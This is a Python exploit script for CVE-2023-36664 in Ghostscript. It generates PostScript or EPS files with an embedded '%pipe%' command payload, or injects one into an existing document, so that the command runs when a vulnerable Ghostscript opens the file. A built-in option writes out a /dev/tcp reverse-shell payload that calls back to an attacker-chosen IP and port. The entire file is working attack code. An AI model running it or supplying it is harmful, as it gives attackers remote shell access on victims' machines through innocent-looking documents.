# @jakabakos
# Exploit script for CVE-2023-36664
# Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2
# Tested with Ghostscript version 10.01.1

import argparse
import re
import os

# Function to generate payload for reverse shell
def generate_rev_shell_payload(ip, port):
    payload = f"UNIX_REV_SHELL_PAYLOAD=f\"0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196\""
    return payload

# Function to generate dummy PS or EPS file with payload
def generate_payload_file(filename, extension, payload):
    if extension == 'ps':
        content = f"""%!PS
/Times-Roman findfont
24 scalefont
setfont

100 200 moveto
(Welcome at vsociety!) show

30 100 moveto
60 230 lineto
90 100 lineto
stroke
{payload}
showpage"""
        
    elif extension == 'eps':
        content = f"""%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 300 300
%%Title: Welcome EPS

/Times-Roman findfont
24 scalefont
setfont

newpath
50 200 moveto
(Welcome at vsociety!) show

newpath
30 100 moveto
60 230 lineto
90 100 lineto
stroke
{payload}
showpage"""

    filename = filename + '.' + extension
    with open(filename, 'w') as file:
        file.write(content)

# Function to inject payload into an existing file
def inject_payload_into_file(filename, payload):
    # Check if the file has the .eps or .ps extension
    if filename.lower().endswith('.eps'):
        # Read the existing content of the EPS file
        with open(filename, 'r') as eps_file:
            lines = eps_file.readlines()

        # Find the first line not starting with %
        for i, line in enumerate(lines):
            if not line.strip().startswith('%'):
                # Insert the payload at this line
                lines.insert(i, payload + '\n')
                break

        # Write the modified content back to the file
        with open(filename, 'w') as eps_file:
            eps_file.writelines(lines)
    elif filename.lower().endswith('.ps'):
        # Append payload to the end of the PS file
        with open(filename, 'a') as ps_file:
            ps_file.write('\n' + payload)
    else:
        print("[-] Only PS and EPS extensions are allowed.")
        

# Main function
def main():
    parser = argparse.ArgumentParser(description="Creating malicious PS/EPS files exploiting CVE-2023-36664.")
    parser.add_argument("-g", "--generate", action="store_true", help="Generate a new file")
    parser.add_argument("-i", "--inject", action="store_true", help="Inject payload into an existing file")
    parser.add_argument("-p", "--payload", help="Payload to inject")
    parser.add_argument("-r", "--revshell", action="store_true", help="Generate reverse shell payload")
    parser.add_argument("-ip", "--ip", help="IP address for reverse shell payload")
    parser.add_argument("-port", "--port", help="Port number for reverse shell payload")
    parser.add_argument("-x", "--extension", choices=["ps", "eps"], help="Extension for the generated file")
    parser.add_argument("-f", "--filename", default="malicious", help="Filename for the generated or injected file")

    args = parser.parse_args()

    # Validate payload options
    if args.revshell and args.payload:
        print("[-] Both --payload and --revshell cannot be used together.")
        return

    if args.revshell:
        # Validate IP and port for reverse shell payload
        if args.ip and args.port:
            ip_pattern = re.compile(r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$")
            port_pattern = re.compile(r"^\d{1,5}$")

            if not ip_pattern.match(args.ip) or not port_pattern.match(args.port):
                print("[-] Invalid IP address or port number.")
                return
        else:
            print("[-] For reverse shell payload, both IP and port are required.")
            return
        payload = generate_rev_shell_payload(args.ip, args.port)

    elif args.payload:
        payload = args.payload

    else:
        print("[-] Either --payload or --revshell is required.")
        return

    # Modify payload for embedding
    payload = f"(%pipe%{payload}) (w) file /DCTDecode filter"

    # Generate or inject payload
    if args.generate and args.inject:
        print("[-] Both -g/--generate and -i/--inject cannot be used together.")
    elif args.generate:
        if args.extension and (args.extension == "ps" or args.extension == "eps"):
            generate_payload_file(args.filename, args.extension, payload)
            print(f"[+] Generated {args.extension.upper()} payload file: {args.filename}.{args.extension}")
        else:
            print("[-] For generating files, specify valid extension using -x/--extension: 'ps' or 'eps'.")
    elif args.inject:
        if os.path.exists(args.filename):
            inject_payload_into_file(args.filename, payload)
            print(f"[+] Payload successfully injected into {args.filename}.")
        else:
            print(f"[-] File {args.filename} not found.")
    else:
        print("[-] Specify either -g/--generate or -i/--inject.")

if __name__ == "__main__":
    main()